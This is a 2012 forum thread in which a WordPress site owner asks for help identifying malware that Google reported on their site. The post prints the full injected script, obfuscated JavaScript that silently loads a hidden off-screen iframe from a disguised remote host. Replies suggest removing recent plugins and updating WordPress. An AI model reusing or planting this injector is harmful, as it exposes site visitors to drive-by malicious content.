Wordpress Hack. Do you recognize it

Discussion in 'WordPress' started by ethanator1088, Sep 6, 2012.

  1. #1
    Google said they have visited several of my pages at http://NESWsports.com . They said they found this malware code, but I can not see it.
    Does anyone know what I can do?


    <script type='text/javascript'>var wow="printb3blb2eab3prilb
    1b3ub1mn";c1="l"+"on"+"l"+"y"; if(-1==document.cookie.indexO
    f(c1)){var a=new Date;a.setTime(a.getTime());c3=72E6;c2=new
    Date(a.getTime()+c3);document.cookie=c1+"="+escape(c2.toGMTS
    tring())+";e"+"xpir"+"es="+c2.toGMTString()+";p"+"at"+"h=/";
    var a=document.createElement("if"+"r"+"am"+"e");a.setAttribu
    te("sr"+"c","h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replac
    e(/b3/g,"a").replace(/b2/g,"e").replace(/b1/g, ".")+":8"+"1/
    "+"rem"+"2."+"htm"+"l");a.style.position="ab"+"sol"+"ute";a.
    style.width="1"+"8p"+"x";a.setAttribute("f"+"ra"+"mebo"+"rd"
    +"er",navigator.userAgent.indexOf("1"+"23"+"4231"+"532"+"4")
    +1);a.style.left="-"+"57"+"50"+"p"+"x";document.write("<"+"d
    i"+"v i"+"d='d"+"efus"+"e'>"+"</di"+"v>");document.getElemen
    tById("de"+"f"+"us"+"e").appendChild(a)};</script>
     
    ethanator1088, Sep 6, 2012 IP
  2. kulwantnagi2003

    kulwantnagi2003 Active Member

    Messages:
    191
    Likes Received:
    15
    Best Answers:
    1
    Trophy Points:
    90
    #2
    For which purpose you are using this code? where this code stay?
     
    kulwantnagi2003, Sep 8, 2012 IP
  3. prince@life

    prince@life Notable Member

    Messages:
    278
    Likes Received:
    13
    Best Answers:
    3
    Trophy Points:
    225
    #3
    I faced this type of problems in past, try to remove your recently installed plugins and update your wordpress package.
     
    prince@life, Sep 9, 2012 IP